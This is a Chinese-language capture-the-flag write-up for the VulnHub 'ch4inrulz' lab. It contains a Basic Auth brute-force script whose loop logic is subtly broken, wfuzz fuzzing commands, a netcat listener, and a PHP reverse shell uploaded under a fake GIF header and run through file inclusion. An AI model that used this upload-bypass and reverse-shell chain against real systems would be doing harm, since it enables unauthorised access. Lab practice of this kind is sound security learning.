ch4inrulz(Apache .htaccess又是套路)

vulnhub download

scan

1
2
3
4
21/tcp   open  ftp
22/tcp open ssh
80/tcp open http
8011/tcp open unknown

ftp

21/tcp open ftp vsftpd 2.3.5

ssh

OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)

http-8011port

visit http://192.168.1.132:8011/
Development Server !

1
2
#nmap -sV -p 8011 192.168.1.132
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))

info1

Apache/2.2.22 (Ubuntu) Server
http://192.168.1.132/development/ 有一个登陆页面

Trying1


输入用户名123,密码123,发现以123:123的形式base64编码。
于是可以尝试爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
user = open("/usr/share/wordlists/rockyou.txt","r")
answer=open("/root/Desktop/302/answer.txt","w+")
while True:
one = user.readline()
#password = open("/usr/share/wordlists/rockyou.txt","r")
with open("/usr/share/wordlists/password.txt","r") as password:
for one_password in password.readlines():
ans = one_password.strip("\n")+":"+one
key = base64.b64encode(ans)
answer.writelines(key+"\n")

user.close()

用burp intruder爆破,无果。

好吧,看看writeup,我承认我菜了==

https://delosec.com/vulnhub-ch4inrulz-writeup/

划重点

当时我扫描到了api这个页面,其中提示了四个页面,说在建设中,我检查了前两个,不存在,我就当作四个都不存在。。。

当时的精力花在80端口破解登陆页面去了。。。
反省,需要另开一篇,复习踩点。

http://192.168.1.132:8011/api/files_api.php

  • 尝试get提交文件名
    1
    2
    YOUR IP IS : 192.168.1.128
    WRONG INPUT !!
  • 尝试post提交文件名

    说明该php没有禁止post方式==

接下来我尝试了好久,找apache日志的地址,结果都是无用功。。

1
2
3
4
5
6
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

ORZ,我爆破了那么久的口令,就藏在备份文件里了吗。。。
当我尝试$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0作为口令登陆失败,我意识到这可能是一个路径,而不是口令。

于是我找到了另一个登陆页面http://192.168.1.132/development/$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0

em。。?黑人问号

  • 新知识点1
    Apache密码类型

    以前遇到的都是加盐(salt)类型的mdf,md5($pass.$salt)。
    这次遇到的这一串$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
    貌似是apache特有的加密方式==,长见识了。密码学没怎么学。

总之获得了frank:frank!!!口令,登陆后,看到了上传页面。

上传了一个png,然后找图片上传路径==,找了半天没找到。
看了wp,路径是/development/uploader/FRANKuploads

  • 新知识点2
    wfuzz的使用
1
2
3
4
5
-c 有颜色的输出
-z 扫描模式,可以字典扫描,数字范围扫描。。。
--hc 隐藏具体的响应代码,例如404,200之类的
FUZZ 是需要爆破替换的地址。
--basic 测试一个需要HTTP Basic Auth保护的内容

example:

1
2
3
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --basic "frank:frank!!!" --hc 404 "http://ip/development/uploader/FRANKFUZZ"

wfuzz -c -z range,1-65535 --hl=2 http://ip:60000/url.php?path=http://localhost:FUZZ

文件上传

  1. nc -lnvp 1234
  2. 选择/usr/share/webshells/php/php-reverse-shell.php
  3. 开burp拦截,因为只允许图片类型
    后缀改为gif,文件内容改为GIF98,点go就可以成功上传。
  4. 绝对路径进行文件包含。

    linux2.6,版本很低嘛,很明显的内核漏洞提权,快讲烂了==

总结

wfuzz、nikto、johntheripper,复习了工具的使用。
明明知道怎么操作,但是就是因为字典或者工具的原因无法成功利用那才是灾难。。。